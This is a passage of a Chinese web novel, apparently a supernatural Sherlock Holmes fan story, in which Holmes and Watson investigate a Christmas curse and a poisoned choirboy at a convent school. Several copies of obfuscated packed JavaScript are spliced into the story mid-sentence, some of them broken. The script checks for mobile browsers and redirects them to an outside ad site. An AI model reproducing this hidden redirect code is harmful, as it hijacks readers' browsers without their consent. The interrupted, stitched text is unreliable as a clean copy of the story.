约翰惊喜还有这样峰回路转的解决方案。 “但，你的家人不用在平安夜那天探望你吗？” 毕竟据他这两天针对圣玛丽珍修道院的了解所知，那里一年内除了平安夜，平时都是全封闭式管理，师生以外的人员很难入内，连看望孩子也需要提前进行申请。 桃瑞思摇头，“没有关系，我的家人并不需要这次机会。” “他们……将我送入修道院，更是希望我再也不要出现在他们面前。” 气氛一时冷却下来。 桃瑞思顿了顿，试图用接下来的话重新缓和谈话的氛围。 “当然，也有其他人会来探望我。” “两位可能还记得他。” 约翰思索着，“我们还记得？” “艾伦·威廉斯。” 歇洛克说出一个名字。 “那位小伙子自打金玫瑰庄园那件事后，主营的实体事业也是蒸蒸日上。” 少女露出笑容。 “是的。” “他上一次来看望我的时候，还和我提起过那段惊险神秘的经过，两位的智慧、身手、谋略更是令我感到敬佩。” “所以我才会特意前来委托你们调查这件事。” “布朗小姐竟然是认识艾伦·威廉斯！” 约翰露出惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150684|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神色。 “我与艾伦从小一起长大，直到威廉斯家族家道中落之前，我们两家都经常在一起玩耍，所以算得上是没有血缘关系，但依旧亲密的兄妹。” 桃瑞思简短地提起过往。 她的脸上也有些好奇。 “不过我没有想到，福尔摩斯先生竟然这么快就猜到了艾伦。” “噢，那我可不是靠猜。” 歇洛克指了指她藏在常服披肩下的项链吊坠。 “我的视力尚可。” “那是皮克底里圆环附近一家知名的礼物商店，最负盛名的是他们家可以定制生日礼物。” “我在威廉斯先生的购物袋里看到过那家的商标。” “更何况，那个吊坠是威廉斯企业生产的钢铁里最具有特色硬度的一种，听说是采用了福诺克矿山里某种特别的矿石，再经过不同寻常的工序加工得到，所以会有一种非常明亮的金属光泽。” 约翰仔细看过去，发现正如歇洛克所说。 桃瑞思将项链珍惜地理好，随后点点头。 “是这样的，先生。” “您细致入微的观察，令我觉得这次冒险必定不会无功而返。” 歇洛克提醒她。 “但是，年轻的女士，别忘了你的处境比我们更危险。” “你得到的情报越多，也就意味着你距离危险的源头更近。” “接下来这句话并非恐吓，也非谎言。” “圣玛丽珍修道院内极有可能藏匿着一个狡猾的魔鬼，祂也许已经披上人皮，佯装无辜地与每个相遇的人对话相谈，直到倒霉的灵魂都被吃完，只剩下残渣才会发出无人能够听懂的哀嚎。” 桃瑞思·布朗挺直背脊。 她目光如炬，声线清朗。 “那么您请放心，我从很早以前就对这些事情有过深刻的了解，也做好充足的心理准备。” 歇洛克点头，“既然如此，这个委托我们接下了。” 于是她起身，提起裙摆，向他们鞠躬告别。 “先生们，那让我们几天后的平安夜，于圣玛丽珍修道院再见。” 少女暂别这两位如今已经闻名全英的搭档。 屋外的寒风将她身后的兜帽吹得左摇右晃，但这条街道上依旧有顽皮的孩子扯着几个破旧报纸做的风筝在嬉戏打闹。 停在路边的公共马车无所事事地等待客人上门，好不容易在今天这样寒冷的天气里看到出行的人，于是有着小虎牙的年轻车夫大声拉客。 “这位小姐！要不要坐我这辆马车！我可以便宜算你的路费！” 背着挎包，怀里还抱着最新报纸的报童路过他那里的时候，调皮地朝对方做鬼脸。 “大家出门又不用你的马车！” 车夫气不打一处来，“滚！给普通人坐的，又不是给你坐的马车！再说，这么冷你还出来卖报纸，你是不是就是喜欢天天卖报纸，以后指不定大家都不读报了！” 报童略略略吐舌头。 “大家怎么可能不读报！再说了，就算不读报，我也继续卖报纸，我就是喜欢……哎哟！坏蛋加尔文！” 马夫一扬鞭，将报童的帽子挑飞到了远处。 报童大叫一声，连忙顶着寒风去捡自己的帽子。 路边其他住民看了看他，像是早已这些司空见惯的打闹场景，他们只笑着摇摇头路过，去做自己的事情。 桃瑞思看着眼前这街道上富有生机的一幕，再想起倒在教堂外寒风里，那些再也无法起身的人，以及目前依旧生死未卜的老师。 她的手无声地攥紧，然后再一根一根地松开。 哪怕她现在的实力依旧微弱，她也要尽自己所能地做出一些努力。 60.60 圣玛丽珍修道院。 这座修道院地处圣保罗大教堂西南方不远处。 它所处的位置，依旧代表在这里入学，就意味着半只脚踏进上流社会的大门。 平安夜的当日。 寒风要比前几日更冰冷刺骨，但街道上摆出的各种圣诞装饰，以及留声机里播放的悦耳音乐，都将喧嚣和热闹的氛围推往更高/潮的方向。 现在他们站在这间学院的正门入口。 抬眼看去，和不远处圣保罗大教堂相似的白金风格建筑映入眼帘。 修道院正门入内是宽阔的广场，中心正对一座张开双手怜爱世人的主的精美雕塑。 左右的建筑精美，比起皇家宫殿的奢华也不相上下。 几位穿着修士服和修女服的中年男女站在雕塑前引导人群的走向。 圣玛丽珍修道院男女学生兼收，不过上课生活是在两个完全分开的院区，只有在圣诞这样重要的节日，才会组织两个院区的学生会面，共同练习平安夜前往圣保罗大教堂的表演曲目。 约翰看了看已经将这里当做交际场所的部分学生亲属。 对比起来，他和歇洛克只在打量四周的模样多少显得有些格格不入。 “福尔摩斯先生！华生先生！” 有人在雕塑面前向他们挥手。 “看样子我们的向导先行一步已经到了。” 歇洛克说道。 艾伦·威廉斯先是礼貌地和他们打招呼，随后有些犹豫，像是想要问什么，可又不知道是否应该真的问出来。 歇洛克看向他，“你是在担心布朗小姐。” 他一眼就看穿了艾伦心中所想。 “这件委托的确棘手，而且对于布朗小姐而言危险不小，不过，我看那位小姐是不会轻易放弃的。” 艾伦低声说道： “我知道她的性格。” “就算没有两位帮忙调查，她自己也一定会做这些事。” “倒不如说正是因为有了两位，我反而更安心些。” 他缓缓叹息。 “只是有的时候，遗憾自己并不能从神秘侧提供一些帮助而已。” “不管是当初对于你们两位，还是现在对于桃瑞思而言，我似乎都帮不上什么忙。” 歇洛克拍拍他的肩膀。 “有的时候，你还安好地站在这里，其实就已经成为某个很在乎你的人最大的助力。” 约翰露出些许笑意，也对他点点头。 艾伦挠了挠自己的头。 虽然自己自觉已经不像当时那么稚嫩，但面对这两位的时候，还是觉得自己是个不够成熟的后辈。 “走吧，前面的队伍已经轮到我们。” 歇洛克看了眼前方的人数。 队伍前的那位中年修女看来神情严肃，性格严苛。 她抬起手中表格，对着上面的照片，反复确认了几遍。 “威廉斯先生况且不提，毕竟他前几年也来过。” “你们两位……真的是布朗小姐的叔叔？” 艾伦强装镇定，“西斯比修女……” “女士，我想我们并没有整容成和你手中照片不同的长相。” 歇洛克看着她。 “当然，我知道您的尽心尽职是为了孩子们的安全。” 面容严肃的修女放下手中的申请表。 “毕竟修女院里时常有心怀不轨的人想尽方法要混进来。” 她又看了眼申请表单上的名字。 “不过福尔摩斯先生和华生先生，你们的名字我是不是在哪里见过？” “主啊！是不是那位福尔摩斯先生，与他的搭档华生先生！” 站在她旁边的另一位修女凑过来的时候，语气震惊。 “报纸上有报道两位多番活跃，帮助苏格兰场解决多起恶性犯罪事件！” “华生先生的文笔更是引人入胜，如果专门从事文学创造的话，相信也一定是文豪级别的大作家才是。” “之前我还听有人说，两位不过是博人眼球创作的虚拟角色，这果然是善嫉者传播的谣言而已！” 她兴奋地说道。 西斯比皱起眉，“布朗小姐的亲属中有从事侦探工作的吗？” 约翰礼貌的微笑僵在脸上。 歇洛克面不改色，“噢……这位修女，你知道的，整个伦敦叫作福尔摩斯和华生的人可真是数不胜数。” “前不久不是还有剧院特意编写了歌剧，让十几位叫作‘福尔摩斯’和‘华生’的演员上街露天即兴表演吗？” 约翰赶紧点头。 “的确！” “我看报纸说，这还引起了骚/乱，害得苏格兰场紧急加班。” 这件事让雷斯垂德到贝克街大倒苦水，说是他们还以为是哪里来的超凡生物引起骚/乱，没想到只是剧院为了戏剧宣传预热的表演。 “小说？戏剧？” 西斯比修女看起来不是会关注这些的人。 她只是狐疑地打量着这两位面生的访客。 “但你们……” “咳！” 重重的一声咳嗽打断西斯比接下来的问话。 “修女，你是在无故怀疑两位绅士的品德吗？” 他们转过头去。 “福诺克！”艾伦一愣，然后语气惊讶。 西斯比脸色略显难看。 “福诺克先生，我想您今日应该被安排在修士院参观，而非是在修女院。” “修女，我特意问过纳舒瓦纳院长，他表示投资人想参观哪个院区都没有问题。”亚历山大·福诺克摆出笑容，“我原本的确是想参观修士院的，但恰好遇上朋友。” 他拍了拍艾伦。 “自然就想和他们一道。” 中年修女面色难看地看了眼那边和其他投资人相谈甚欢的修道院院长。 她旁边的另一位修女低声劝说： “好了，西斯比，也不用如此严格。” “今天可是平安夜，马上还需要进行最后一次彩排。” “要是情况闹大，不管是院长还是其他投资人那里，我们都不好给出答复。” 西斯比仍旧不愿轻易妥协。 她找来其他学生，“请布朗小姐来这里一趟，问问她面前这几位先生是否是她的家属。” 修女院这边因为这意外的小插曲已经开始排起了队。 纳舒瓦纳院长从那边看过来。 另一位中年修女恨铁不成钢地扯扯她的衣袖。 “西斯比！” 西斯比修女不为所动，像是不会轻易将两个陌生人放进修女院。 直到几分钟后桃瑞思·布朗匆匆赶到。 “西斯比修女。”她行礼后说道：“这两位的确是我的远房叔叔。” “姓氏都不相同？”西斯比语气严厉，“布朗小姐！今日访客很多，所以我才要更加严格地审核，如果发生危险，你哪怕是本笃大主教的学生，我也会毫不留情地罚你禁闭！” 其他学生手足无措地看着他们。 另一位修女看起来像是快要晕倒了。 这时纳舒瓦纳院长走过来。 这是个看起来很和蔼可亲的小老头。 “西斯比，你对年轻孩子的口吻太过严厉，以至于显得暴躁过头。” 他安抚地说道： “布朗小姐当然不是个坏孩子。” “再说，这里是主的庇护地之一，你无需担忧过度。” 桃瑞思低下头去，并未说话。 西斯比皱起眉，“但是院长，近来学生之间总是流传……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162660|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好了，西斯比修女。”纳舒瓦纳打断她的话，“客人们都是远道而来，也急切地想探望自己的孩子。” “在这里浪费的时间越多，孩子们和家人相处的时间就越短，不是吗？” 西斯比修女沉默片刻，像是被最后那句话说动，于是侧身让开进出的位置。 她面色不善地盯着他们几人。 “先生们，进入修女院时需严格遵守我们的规章制度，请勿乱闯未对外开放的区域。” 歇洛克挑了挑眉，目光扫视过几位老师和院长，但此刻也并未多说什么。 一行人跟在同样身着简易修女服的桃瑞思身后入内。 和修士院比起来，修女院对外开放的区域小得可怜。 几乎除了最靠外围的公众会客厅以外，只有屋外的小花园能够参观，除此以外的地点全部不允外宾私自入内。 似乎是因为刚刚在校门口的骚/乱很是醒目，当他们走进其中的时候，更是有不少年轻的修女侧目暗暗向他们看来。 桃瑞思面不改色，仿佛真的只是带领他们参观一样介绍着这所历史悠久的修道院。 “圣玛丽珍修道院成立于百年前，那时战火连天，有很多无家可归的孤儿流浪街头，于是圣人玛丽珍修女收养了他们，并在某处破败的教堂教导他们读书写字，学习圣经教义。” “这也就是这座修道院的前身。” 约翰感觉得到背后其他人探究的目光犹如针扎，看艾伦并不自在的神情，似乎也和他深有同感。 反倒是歇洛克与亚历山大，都是能自如忽视其他人视线，将那些介绍听得津津有味的人。 “然后这些照片……” 桃瑞思领着他们看墙上那些泛黄，但依旧代表历史荣耀的影像记录。 她意有所指地介绍。 “这条道路也就是连接圣玛丽珍修道院，与圣保罗大教堂的道路，因为这条路不允许其他人私自踏足，算是教会所有，加上两旁有历代圣人的雕像，也被称之为‘升华之路’。” “这条道路只在新生入学、老生毕业，以及每年的平安夜开放一次，尤其是后两次，能够走上这条路的人无一不是能力出众的佼佼者。” “布朗！” 突然有人喊她的名字。 “你这种被亵渎者的学生，还有资格待在今晚的唱诗班中吗！” 她这句话不仅是对桃瑞思说的，更是对靠近桃瑞思周围的他们，以及还想过去结交的其他人说的。 “所有人都在说你也是不净者，你还想玷污今晚神圣的仪式吗！” 公共会客厅里骤然一静。 即便教皇冕下只是对外宣称“本笃大主教暂时闭门不见客”，但有些耳语传闻早就在这个日常封闭的学院里私下传开。 今晚能去圣保罗大教堂的名额是固定的。 少一个桃瑞思，自然就能多出一个其他人借此机会飞跃上流社会。 无数人都在盯着这个机会。 桃瑞思面不改色地看过去。 “如果我被除名，修女或院长自然会告诉我。” 刚才喊话的年轻修女咬紧下唇，像是不甘心对方竟然丝毫没有受到她的挑衅。 她路过照片墙边的时候，故意用肩膀狠狠撞过桃瑞思。 “你得意什么……！就算你入选了唱诗班，领唱的位置不还是奥利弗·威廉姆斯的！” 那位年轻的学生要从她旁边穿过去的时候，约翰沉着脸站在她必经的道路上。 “道歉。”他的语气非常严肃和认真。 “什么？”对方错愕。 “构陷他人可不是一个美好的品德！”约翰冷声说道：“你有确凿的证据证明布朗小姐是所谓的‘不净者’吗？没有的话，你必须因为那莫须有的诬陷，向布朗小姐道歉。” 61.61 教堂里的参观者说多不多，说少也不少。 毕竟这里地处整个修道院最中心的位置，开放日接待往来的客人可谓是源源不断。 他们三人就藏在人群里，往教堂的角落走去。 似乎是发现有人靠近，一直在角落里没有抬头的詹弗斯此刻警觉地猛然看过来。 在发现领头者是桃瑞思的时候，他如一根紧绷之弦的姿势稍稍放松了些。 “……” 这个男孩歪过头，但张开嘴试图说话的时候，只剩下断断续续的气音。 正如桃瑞思所说，他的嗓子已经彻底被毒哑，现在发出不出任何的声音。 但…… “如果想要追究责任的话，哪怕在寻常超凡力量不起效果的这里，教会应该也有不少其他仪具可以使用，以还原当时的情况，或者让他用其他方式‘表达’自己的想法。” 约翰低声说道。 “正如你所说。”歇洛克肯定了他的想法，“所以，这是院方上层默认的结果，想要借此机会掩盖某些真相的手段之一。” 几步之外的桃瑞思也和詹弗斯单独说了什么，然后那个一直抗拒和他人接触的男孩犹豫几秒，还是主动向他们走来。 他翻过手里的乐谱，用笔在背面写字与他们交流。 “我听布朗小姐说，你们是来调查‘圣诞节诅咒’的侦探。” 比起自己无法说话这件事，反而更在意一个流传已久，但暂时不知真假的诅咒。 侦探不动声色地想。 面对这个孩子的问题，他点头。 “没错。” “所以也是想问你是否知道什么和诅咒有关的更详细线索。” 像是已经等了很久，终于有人问他这个问题。 詹弗斯飞速往四周多看了两眼，然后从乐谱中果断撕下某一页塞了过来。 纸张上的字迹看起来是之前就写好的。 这个男孩把有关诅咒的各种传闻，以及自己的经历想法都写了上去，而且逐条罗列，看起来条理非常清晰。 歇洛克迅速将内容阅读一遍，接着递给身旁的好友继续细读。 侦探问道：“所以一周前，是你第一次去‘那个房间’？” 詹弗斯小幅度地点头。 那天晚上他也和以往一样加练表演，在与西斯比修女说过话后，就与舍友们准备回到宿舍。 也就是那时，他像是中途骤然失去了记忆，昏迷一样眼前一黑。 等到再醒来的时候已经回到了宿舍，同时第二天嗓子就不复以往。 可不管是问其他舍友，还是夜间值班的教师，都说没有在路上见过他们有什么异样。 詹弗斯自认其他事情没有清晰的记忆，可脑海里唯独某个人说“那个房间很特殊”的语调非常印象深刻。 以至于圣诞即将到来时，修道院内再度开始流传“圣诞节当晚要是被邀请去‘那个房间’表演，灵魂就会坠入地狱”的传闻时，他立马就有了联想。 这种联想来得突兀又真切，让他下意识做出最本能的选择—— 也就是找到自己心中认为最可靠的那个人，并向她求助。 桃瑞思揉了揉自己的太阳穴。 “我知道这件事后，已经借着唱诗班排练的名义暗中探查了不少地方，但都没有找到符合詹弗斯描述的房间。” 约翰恰好看到那行文字。 前面写着那时他已经失去了大半的意识，像是即将梦醒时候，能够感知些许，但无法完全睁开眼观察四周的感觉。 他觉得那房间感觉应该很小，而且非常黑，能够听到的声音却是非常洪亮遥远。 这些乐谱上的文字看起来非常工整美观，如果不是歇洛克道破詹弗斯从小是个孤儿，是幸运被某个乡村教会的一位老修女收养推荐入学，仅凭这样漂亮的字迹，甚至会让人觉得他应当是个贵族子弟出身。 不过这也说明，这孩子是多么用心地学习知识，并将它们练习运用到日常的实践中。 他与桃瑞思的人生经历有重叠部分，性格也又有相似的地方，难怪遇到这样的事情，会第一时间想到向她求助。 “之后你有再去过‘那个房间’吗？” 歇洛克问。 詹弗斯摇头。 “那么那天晚上，和你一起回到宿舍的人有说什么吗？”歇洛克继续问。 詹弗斯无声地看向不远处被众人簇拥恭维着什么的同龄男孩。 “詹弗斯的舍友一个是那位颇具人气的奥利弗·威廉姆斯。” “以及另一位与他同班的米路·巴克。” 桃瑞思代替詹弗斯做了简单的总结。 “那天晚上他们三人是一起回去的，针对詹弗斯第二天无法再说话这件事，院长他们特意询问了奥利弗和米路，然而他们两人都说那天晚上夜黑风高，冷到让他们只想早些回到宿舍。” “他们像往常一样回去，然后各自洗漱后就上床休息。” “他们表示，那天晚上詹弗斯像往常一样是最后一个去洗漱的，他们练习得太累了，所以完全不知道他在什么时候回来，不过他们都不承认自己下毒这件事，宿舍里也的确没有检查出任何药物或者仪阵、仪具使用和残留的痕迹。” 歇洛克点头，接着却像问了一个并不相关的问题。 “我在路上有听到其他学生抱怨合宿的生活，一般不是四人一间吗？” 桃瑞思像是之前也没有过多关注这一点。 她仔细回想了一下自己找到的资料。 “我记得……他们以前的确是四个人的。” 这时詹弗斯将自己手中的另一张乐谱写好字，再翻过来。 ——“虽然很久不和他联系，但亚克是去年圣诞节后被调走，去其他教堂当实习修士。” “实习修士……的确有这个说法。” 桃瑞思说道： “有些时候，各地的牧师主教会来挑选具有灵性的孩子来更早接触仪具。” “算是将他们当做自己事业的半个接班人亲自进行培养。” 约翰说道：“看样子应当是件很值得开心的事……” 桃瑞思点头，“老师就是这样培养我的。” “但……”约翰的表情似乎并不是祝福，相反他脸上更多是担忧。 “……怎么了吗？” 桃瑞思仿佛察觉到了什么，连询问的语气也不由带上了一丝忧虑。 詹弗斯手指攥紧，一瞬也不眨眼地看着他们。 “约翰直觉的担忧没错。” 歇洛克的指尖敲了敲男孩手中乐谱上的某个单词。 “‘亚克’，这明显是个昵称。” “你和那个同龄男孩的关系很好，才会用这样亲切的称呼。” “这样关系要好的朋友，为什么会在他离开修道院后就再也没有联系？” 侦探的分析，让他们开始感到后背发凉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162661|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “虽然名义上是离开修道院，去其他地区教堂当实习修士，可这何尝不是另一种意义上符合诅咒里所提及的‘失踪’。” 歇洛克神情凝重。 詹弗斯的脸色变得苍白起来。 教堂上空传来洪亮的钟声。 白鸽飞过彩绘的玻璃窗，留下几根雪白的羽毛坠入灰蒙蒙的尘埃中。 尚且年轻的学生们，或是穿着修士服，或是穿着修女服，已经叽叽喳喳地站成了一排，准备进行最后的彩排。 原本詹弗斯也应当站在唱诗班队伍前列显目的位置之一。 但他动听的嗓子无法再发声后，那里的位置就理所当然，也悄无声息地被快速换上了其他人。 西斯比修女准时来到教堂检查最后一次彩排的情况和成果，也是为了宣布今晚能够前往圣保罗大教堂，在教皇冕下与其他达官贵人面前可以露面的最终人选。 这位表情严肃的中年修女，没有和殷切围上来的诸位学生家长过多寒暄。 她拍拍手，开始一丝不苟地检查学生们的练习成果，然后中肯地点评两句后，就开始宣布所有人都非常在意的唱诗班人员组成名单。 毫无疑问，詹弗斯的那位人气舍友奥利弗率先当选。 不过有些奇怪的是，这些当选的人员并不都是有副好嗓子，或者好皮相。 最后出乎意料的，桃瑞思的名字也在名单上。 现场一片哗然。 很明显，不少消息灵通的人已经了解到事关本笃大主教一定的内幕。 原本以为那位老人可能已经势如山倒，但为何还将他的学生纳入今晚宝贵的名单中？ 少女看向站在教堂边缘的两人。 歇洛克对她微微点头，似乎在告诉她，这也不失为一个更深入调查的机会。 约翰张开嘴，比划了几个口型。 少女眨眨眼，表示自己明白，会像医生叮嘱的那样，注意保护自己的。 “请安静！” “接下来要说的是，今晚唱诗班的领唱人选！” 西斯比修女用力拍拍手。 这是能够接受教皇冕下亲自洗礼的，绝对珍贵的机会。 现场重新安静下来。 接下来的话，修女的语气听起来有些僵硬，好似也无法理解这样的名单安排，但并不好多质疑什么。 “领唱的人选是……” 奥利弗挺起胸膛，脸上已经洋溢着开心的笑容，连脚步也踏出半个，像是随时做好了准备来迎接西斯比修女接下来宣布自己名字成为领唱的瞬间。 院长早在之前就暗示过他，平安夜那晚演出的领唱就是—— “桃瑞思·布朗，就由你来担任。” 西斯比修女如此说道。 奥利弗的笑容僵在了脸上。 现场在短暂地陷入一片死寂后，又再度猛地喧哗起来。 刚刚修女的咬字是如此清晰，根本不存在说错名字的可能。 不少人窃窃私语着看向奥利弗。 而站在奥利弗背后，借着詹弗斯落选，空出一个位置刚被选上的米路更是震惊。 他眼里还闪烁着一丝窃喜，反而觉得今天真是自己的幸运日。 前有詹弗斯嗓子彻底坏了，他能入选唱诗班。 现在又有“好友”奥利弗没有被选上领唱位置，他们之间的距离还没有被拉开太大，他还能像以前借着两个舍友的光环，继续引人注目下去。 62.62 “修女。” 桃瑞思尽可能沉下心头涌起的惊讶与不安。 “我来当领唱吗？” 西斯比神情里看不出什么过多的情绪波动。 她板着脸压下其他人口中，如暗潮涌流的恶意猜测与反对。 “我可以直当地肯定，布朗小姐的演唱水准是目前……” 她的视线扫视到詹弗斯的时候，有些遗憾。 然后她继续说道： “目前这里所有人中最好的那个。” “各位对此如果有异议的话，可以现在就提出来，我会有请你们两位当场单独清唱，让所有人仔细比较点评。” 大半人的嘴果然选择闭上。 米路嫉妒地看了站在前面的桃瑞思一眼。 这位年长的学姐不仅容貌美丽，能力杰出，还是本笃大主教唯一承认的学生。 没想到现在就算大主教出事，她还能得到这样珍贵荣幸的机会。 他拍拍舍友奥利弗的肩膀，装作无意，实则拱火地故意低声询问： “奥利弗……你不是之前说院长……” 说到一半，他偏偏不把这句话说完。 表面像是为了顾全人气明星奥利弗的颜面，实际上是句句暗中讽刺。 “难道是误会？” 他凑到奥利弗耳边怂恿。 “该不会是修女搞错了？毕竟有时她也总是私自违背院长的指令，然后又不得不遵守本应该早就执行的规则。” 脸皮涨红的奥利弗往前踏出一步。 “修女！” 米路立马缩回自己的位置，仿佛刚才什么也没有说。 西斯比看过去，“有什么事吗？威廉姆斯先生。” 奥利弗大声反对刚才她宣布的事情。 “为什么是布朗做领唱？！” 而不是本应当暗中定好的他？ 西斯比面无表情，“如果你有异议，可以现在就进行一段清唱，向所有人证明自己的实力。” 如果这样对比，他当然比不过桃瑞思。 奥利弗手指掐着自己的掌心，试图搬出纳舒瓦纳院长的名号。 “西斯比修女！往年名单的宣布，不也都是院长先生亲自来的吗！为什么今年是你？” 中年修女的语气听起来是丝毫不留情面的严厉。 “纳舒瓦纳院长现已前往大教堂，负责安排晚上表演场地的布置。” “威廉姆斯先生，刚才我传达，就是院长先生的话。” “另外，我不知道是什么样的传闻让你有了可以独挑大梁的冲动和幻想。” “今晚的表演非常关键，能够担任领唱的无一不是比你更适合的人。” “如果不是怀特先生的嗓子受伤，领唱人选原本就确定是他。” 她的眼神如刀割。 奥利弗恨不得直接跳脚。 “詹弗斯那家伙嗓子出现问题又不是我的错！” “他之前不是和布朗就走得很近吗！明明不在一个院区还经常找理由见面，谁知道他是不是因为也想尽早成为实习修士，所以试图从布朗那里得到一些仪具来达成自己的愿望，但结果反而被魔鬼诅咒了！” 听到最后那几句话，修女的脸色骤然一变。 她当即用严厉的语气打断他的话。 “威廉姆斯先生，注意你的言辞！” “如果你继续这样无端揣测，构陷他人，我将立刻向院长反应此事，并对你进行严格的惩罚！” 因为西斯比修女严令禁止继续这个“谣言话题”，最后在关于领唱的这件事上，无人敢继续当场提出异议。 今天的彩排结束后，奥利弗脸色难看地瞪了桃瑞思的背影一眼，随后又看了眼一直只站在人群边缘看着他们的詹弗斯。 这个外貌出众，可性格糟糕的男孩咬咬牙，仿佛一刻也不想继续在这里待下去，转身就往外面走去。 米路急匆匆追上他的步伐。 “等等我奥利弗！” 奥利弗显然不想等他，可又不愿自己身边一个拥趸都没有，所以还是面色不善，语气恶劣地说道，“就是因为你总是这样慢人一拍，所以才没有抢到好机会啊，米路。” 米路表情一僵，微微抽动的眼角流露出一些深凿的嫉妒与愤怒。 但他很快熟练地做了掩饰。 “因为奥利弗你很优秀嘛，我怎么可能和你相提并论呢！”米路恭维着，试图继续跟在他的身后，“你是要去找纳舒瓦纳院长吧，我也恰好有些事需要找院长先生。” 侦探将教堂里的一切都尽收眼底。 他旁边的医生低声说道： “本应是纯净的象牙塔，但这里大半的孩子都已经染上世俗欲望的恶臭与黑暗了。” “魔鬼可不会因为收割的灵魂是孩子的，就心生怜悯。”歇洛克暂时收回目光，“倒不如说，祂们更喜欢这样慢慢用绝望炮制他们原本纯净的灵魂，再享受最后的美味。” 等到教堂里这番闹剧结束有一段时间后，艾伦与亚历山大才重新回到这里，并带来一些意想不到的消息。 “正如你所说，福尔摩斯先生。”艾伦的神情里难掩一丝惊慌失措，“我们拿着检测仪在修士院里转了一圈，学生宿舍楼是超凡力量最明显的地方，而越往教政楼方向，检测仪的感应越弱，直到楼中，那里几乎为零。” “……该不会魔鬼就藏在学生宿舍里？” 桃瑞思看向侦探和他的助手。 “这是……科技的力量？” 歇洛克点头，“当然，要不然无法在这里发挥力量。” 桃瑞思的心中掀起惊涛骇浪。 在修道院的师生们还在认为主的力量无所不能的时候，外界已经掀起变革的洪流，浩浩荡荡地即将冲垮误以为自己无坚不摧的海上孤舟。 歇洛克从艾伦的手里接过检测仪。 桃瑞思为自己青梅竹马刚才说出的结论做出纠正。 “按照这个情况来看，应该恰好相反。” “魔鬼藏在教务楼里才对。” 在艾伦满脸的疑惑中，因为家族历史，更了解超凡力量的亚历山大沉声说道： “因为只有魔鬼才能如此彻底地卷走某处的超凡力量，将那里短暂地置入神秘意义领域的‘真空环境’里。” “但，我是指，这应当只是理论上的。” 眼看对这个名词茫然的人数增加为两个。 侦探做出更详细的解释。 “所谓‘真空环境’是指任何超凡力量都无法发挥作用的小范围维度空间。” “也就是说，如果现在在院长室使用任何仪阵、仪具，都无法发挥应有的效果。” “而亚历山大说的理论上的，是指直至刚才为止，世人的确没有找到完完全全的‘真空环境’。” “那里，包括【圣杯】吗？”桃瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪怕教师们明面上禁止肆意使用超凡力量，恐怕那些年轻的学生们也私下里偷偷用过很多次平时看起来无伤大雅的仪阵或仪具。” “另外……” “……歇洛克？” 在他们针对这件事进行讨论的时候，侦探已经绕着整个教堂来回走了几圈。 现在他回到他们身旁，对几个人招手，示意他们附耳过来，低声说了几句。 几分钟后，他直起身来。 “我们先按照计划行事，如果没有意外的话，今晚真凶就会露出马脚。” “你们前往圣保罗大教堂的时候务必小心，我与约翰会联络白骑士团的使者接应你们。” 其他几人纷纷点头，互相对视一眼后就各自去做准备。 约翰目送他们的背影离开，和好友并肩而立的时候，低声问道： “歇洛克，那个人真的是魔鬼吗？” 侦探同样低声回答： “只等今晚就能验证我们的猜测。” 说着他侧首看向好友。 “另外，约翰，你知道……” “什么？” 片刻后，没有等到后半句的医生转身看他。 歇洛克难得迟疑，然后他摇头。 “不，没什么。” 63.63 平安夜当晚。 所有工厂都慷慨地在这两日放假，于是伦敦全城都陷入了年末的狂欢中。 人们穿上厚厚的冬装，走在寒风与喧嚣里，心甘情愿地拿出自己的钱包，或多或少买下一些礼物送给自己的亲人、友人和爱人。 因为人流量过大，苏格兰场今晚不得不抽临时大量警力安排在城市各处，包括重点区域圣保罗大教堂附近，以维持公众秩序。 今夜，这座处处流动着雾气与蒸汽的城市，在高空燃起璀璨明亮的烟花，照亮漆黑的夜幕。 追随彩灯的指引，当大本钟准时敲响第八下时，圣保罗大教堂高耸的门扉由里向外被徐徐打开。 身着长袍的修士修女们手持无瑕的白烛，逐一将教堂门前的其他蜡烛点亮。 冬日里的鲜花装饰着这座以金白两色为主的建筑，不计成本力求将其衬托得更加华丽壮观。 鲜亮昂贵的红毯长长铺开，修士修女们分别立于道路两旁，微微弯腰鞠躬迎接前方几位客人。 那几位外套镌绣着家纹的尊贵客人们先行入场，于最前排的位置落座。 随后依次是教堂的主要捐款者，以及各地位重要的主教入内。 最后才是长途跋涉赶来，或是站在寒风中等候许久的普通信众上前。 